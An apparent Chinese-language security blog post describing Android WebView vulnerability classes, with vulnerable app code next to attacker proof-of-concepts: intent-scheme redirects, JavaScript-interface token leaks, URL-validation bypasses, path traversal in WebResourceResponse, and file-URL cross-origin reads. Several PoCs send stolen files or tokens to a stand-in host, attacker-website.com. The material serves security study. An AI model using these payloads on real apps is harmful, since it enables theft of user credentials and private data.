# Android WebView漏洞 WebView是显示网页的View。WebView 对象将 Web 内容显示为活动布局的一部分,但缺少一些正常浏览器的一些功能
0x00 访问任意组件 Intent类允许开发使用toUri(flags)方法将意图转换为包含其 URI 表示形式的字符串,并使用[parseUri(stringUri, flags)](https://developer.android.com/reference/android/content/Intent#parseUri (java.lang.String, int))方法从此 URI 创建Intent。应用程序可以使用它来将带有方案的 URL 解析为Intent,并在 WebView 中处理 URL 时启动活动。如果处理未正确实现,您可以访问应用程序的任意组件。
开发人员可以重写WebViewClient 类的[shouldOverrideUrlLoading()方法来处理在 WebView 中加载新链接的所有工作。](https://developer.android.com/reference/android/webkit/WebViewClient#shouldOverrideUrlLoading (android.webkit.WebView, android.webkit.WebResourceRequest))错误处理的示例如下所示:
受害者应用:
1 2 3 4 5 6 7 8 public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { Uri uri = request.getUrl(); if ("intent".equals(uri.getScheme())) { startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME)); return true; } return super.shouldOverrideUrlLoading(view, request); }
受害者Activity:
1 2 // AuthWebViewActivity webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
以上代码为 URL 添加了一个自定义处理程序,其intent
方案使用传递的 URL 启动新活动。您可以通过创建 WebView 并将其重定向到特制的intent-scheme
URL 来利用此错误进行攻击:
攻击者代码如下:
1 2 3 4 5 6 7 // Intent-scheme URL creation Intent intent = new Intent(); intent.setClassName("com.victim", "com.victim.AuthWebViewActivity"); intent.putExtra("url", "http://attacker-website.com/"); String url = intent.toUri(Intent.URI_INTENT_SCHEME); // "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fattacker-website.com%2F;end" Log.d("d", url);
或者使用js代码进行重定向启动:
1 2 // Redirect within WebView location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fattacker-website.com%2F;end";
但是,有几个限制:
参考:
0x01 添加Javascript接口 [addJavascriptInterface](https://developer.android.com/reference/android/webkit/WebView#addJavascriptInterface (java.lang.Object, java.lang.String))方法将提供的 Java 对象注入到此 WebView 中。使用提供的名称将该对象注入到网页的所有框架。iframes
允许从 JavaScript 访问 Java 对象的方法(无法访问 Java 对象的字段)。
根据泄露的javascript的接口具体实现,可以进行不同攻击。
该方法可以向 JavaScript 提供数据,甚至允许 JavaScript 控制主机应用程序。例如,以下接口正在泄漏用户令牌:getToken()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class DefaultJavascriptInterface { Context context; public DefaultJavascriptInterface(Context c) { this.context = c; } @JavascriptInterface public getToken() { SharedPreferences sharedPref = context.getSharedPreferences(getString( R.string.preference_file_key), Context.MODE_PRIVATE ); return sharedPref.getString(getString(R.string.token_key), "") } }
1 2 3 4 5 6 7 8 9 10 public class DefaultActivity extends Activity { // ... public void loadWebView() { WebView webView = (WebView)findViewById(R.id.web_view); webView.getSettings().setJavaScriptEnabled(true); webView.addJavascriptInterface(new DefaultJavascriptInterface(this), "DefaultJavascriptInterface") // ... } }
攻击代码:
1 2 3 <script> alert("Token: " + DefaultJavascriptInterface.getToken()); </script>
其他示例
受害者代码:
首先需要设置Javascript
1 mWebView.addJavascriptInterface(new com.grab.pax.support.ZendeskSupportActivity.WebAppInterface(this), "Android");
然后Java的具体实现
1 2 3 4 5 @android.webkit.JavascriptInterface public final java.lang.String getGrabUser() { //... return com.grab.base.p167l.GsonUtils.m7210a(zendeskSupportActivity.getMPresenter().getGrabUser()); }
攻击者代码:
1 2 3 4 5 6 7 <!DOCTYPE html> <html> <head><title>Page 1</title></head> <body style="text-align: center;"> <h1><a href="grab://open?screenType=HELPCENTER&page=https://s3.amazonaws.com/edited/page2.html">Begin attack!</a></h1> </body> </html>
page2.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <!DOCTYPE html> <html> <head><title>Page 2</title></head> <body style="text-align: center;"> <script type="text/javascript"> var data; if(window.Android) { // Android data = window.Android.getGrabUser(); } if(data) { document.write("Stolen data: " + data); } </script> </body> </html>
以上代码可以获取泄露的getGrabUser数据
参考:
0x02 绕过URL验证 1.滥用反射 android.net.Uri是一个抽象类,具有一些内部子 类,允许您使用android.net.Uri$HierarchicalUri
.
假设应用程序实现以下验证:
受害者类:
1 2 3 4 5 6 7 8 9 // AuthWebViewActivity Uri uri = getIntent().getData(); boolean isOurDomain = "https".equals(uri.getScheme()) && uri.getUserInfo() == null && "legitimate.com".equals(uri.getHost()); if (isOurDomain) { webView.load(uri.toString(), getAuthHeaders()); }
在这种情况下,您可以构建一个将通过验证的 URL,但调用uri.toString()
将返回攻击者的网站:
攻击者代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 Uri uri; try { Class partClass = Class.forName("android.net.Uri$Part"); Constructor partConstructor = partClass.getDeclaredConstructors()[0]; partConstructor.setAccessible(true); Class pathPartClass = Class.forName("android.net.Uri$PathPart"); Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0]; pathPartConstructor.setAccessible(true); Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri"); Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0]; hierarchicalUriConstructor.setAccessible(true); Object authority = partConstructor.newInstance("legitimate.com", "legitimate.com"); Object path = pathPartConstructor.newInstance("@attacker-website.com", "@attacker-website.com"); uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null); // uri.getScheme() == https // uri.getUserInfo() == null // uri.getHost() == legitimate.com // uri.toString() == https://legitimate.com@attacker-website.com } catch (Exception e) { throw new RuntimeException(e); } Intent intent = new Intent(); intent.setData(uri); intent.setClassName("com.victim", "com.victim.AuthWebViewActivity"); startActivity(intent);
上面基于反射最终实现的效果类似与URL跳转漏洞的常见绕过方式形如:https://legitimate.com@attacker-website.com , 即通过特殊符号@进行验证绕过。
2.parse异常 android.net.Uri无法识别权限部分中的反斜杠(但会引发异常),这允许您绕过 URL 验证。 例如,易受攻击的代码可能如下所示:java.net.URI
1 2 3 4 5 6 Uri uri = Uri.parse(attackerControlledString); if ("legitimate.com".equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com")) { webView.loadUrl(attackerControlledString, getAuthorizationHeaders()); // or // webView.loadUrl(uri.toString()); }
在这种情况下,可以使用反斜杠绕过限制:
1 2 3 4 5 6 String url = "http://attacker-website.com\\\\@legitimate.com/path"; String host = Uri.parse(url).getHost(); // The "host" variable contains the "legitimate.com" value Log.d("d", host); // WebView loads the attacker-website.com webView.loadUrl(url, getAuthorizationHeaders());
3.缺少scheme验证 如果应用程序不验证scheme值(但可能验证host值),您可以尝试使用javascript
和file
schemas URL 来绕过:
1 2 3 javascript://legitimate.com/%0aalert(1)// file://legitimate.com/sdcard/payload.html
0x03 设置WebContentsDebuging Enabled setWebContentsDebuggingEnabled 可以调试加载到应用程序的任何 WebView 中的 Web 内容 (HTML/CSS/JavaScript)。使用此标志是为了促进 Web 布局和 WebView 内运行的 JavaScript 代码的调试。
1 WebContentsDebugging不受application manifest中debuggable标志状态的影响。
启用此标志允许您在应用程序的任何 WebView 中执行任意 JavaScript 代码。
参考:
LINKS :Android 访问应用程序受保护的 组件
Android 应用中绕过主机验证的黄金技术
WebView 漏洞
# WebResourceResponse 漏洞 0x00 WebResourceResponse概述 WebResourceResponse 是一个类,允许 Android 应用程序通过拦截请求并从应用程序代码本身返回任意内容(包括状态代码、内容类型、内容编码、标头和响应正文)来模拟 WebView 中的服务器,而无需执行任何实际操作向服务器发出请求。
0x01安全问题 1.访问任意文件 如果您控制返回文件的路径并具有 XSS 或能够在 WebView 内打开任意链接,则可以通过 XHR 请求访问任意文件。
例如,如果有下面的WebResourceResponse
实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 WebView webView = findViewById(R.id.webView); webView.setWebViewClient(new WebViewClient() { public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) { Uri uri = request.getUrl(); if (uri.getPath().startsWith("/local_cache/")) { File cacheFile = new File(getCacheDir(), uri.getLastPathSegment()); if (cacheFile.exists()) { InputStream inputStream; try { inputStream = new FileInputStream(cacheFile); } catch (IOException e) { return null; } Map<String, String> headers = new HashMap<>(); headers.put("Access-Control-Allow-Origin", "*"); return new WebResourceResponse("text/html", "utf-8", 200, "OK", headers, inputStream); } } return super.shouldInterceptRequest(view, request); } });
攻击的 PoC 可能如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <!DOCTYPE html> <html> <head> <title>Evil page</title> </head> <body> <script type="text/javascript"> function theftFile(path, callback) { var oReq = new XMLHttpRequest(); oReq.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true); oReq.onload = function(e) { callback(oReq.responseText); } oReq.onerror = function(e) { callback(null); } oReq.send(); } theftFile("shared_prefs/auth.xml", function(contents) { location.href = "https://attacker-website.com/?data=" + encodeURIComponent(contents); }); </script> </body> </html>
在上面的示例中,攻击是可能的,因为Uri.getLastPathSegment()
返回一个解码值,该值用于生成行内的文件路径new File(getCacheDir(), uri.getLastPathSegment())
。
像 CORS 这样的策略仍然在 WebView 中起作用。因此,any.domain
如果没有标头,则不允许向 发送请求Access-Control-Allow-Origin: *
。但是,此限制不会影响此 PoC,因为WebResourceResponse
实施检查仅使用 URL 路径,并且您可以替换any.domain
为当前源。
参考:
LINKS Android :探索 WebResourceResponse
Web资源响应漏洞
# WebSettings 漏洞 0x00 WebSettings概述 WebSettings 管理 WebView 的设置状态。首次创建 WebView 时,它会获得一组默认设置。从WebView#getSettings() 获取的 WebSettings 对象与 WebView 的生命周期相关。
0x02 安全问题 setAllowUniversalAccessFromFileURLs s setAllowUniversalAccessFromFileURLs 设置是否允许文件方案 URL 上下文中的跨源请求访问来自任何源的内容 。这包括从其他文件方案 URL 或 Web 上下文访问内容。默认值是false
从 Android 4.1 开始。
此方法在 API 级别 30 中已弃用
启用此设置允许在上下文中加载恶意脚本file://
来发起跨站点脚本攻击,访问任意本地文件,包括 WebView cookie、应用程序私有数据,甚至是任意网站上使用的凭据。
例如,如果应用程序允许您在 WebView 中打开任意链接,您可以传递包含以下内容的共享 html 文件的路径来窃取私有文件:
1 2 3 4 5 6 7 8 9 10 11 12 <!-- file:///sdcard/index.html --> <script> var url = 'file:///data/data/com.victim.app/internal_folder/private_file.txt'; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState === 4) { fetch('https://attacker-website.com/?content=' + btoa(xhr.responseText)); } } xhr.open('GET', url, true); xhr.send(''); </script>
LINKS Web设置漏洞
Author:
tea9
Permalink:
http://tea9.github.io/post/1495034172.html
License:
Copyright (c) 2017-2025 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY ?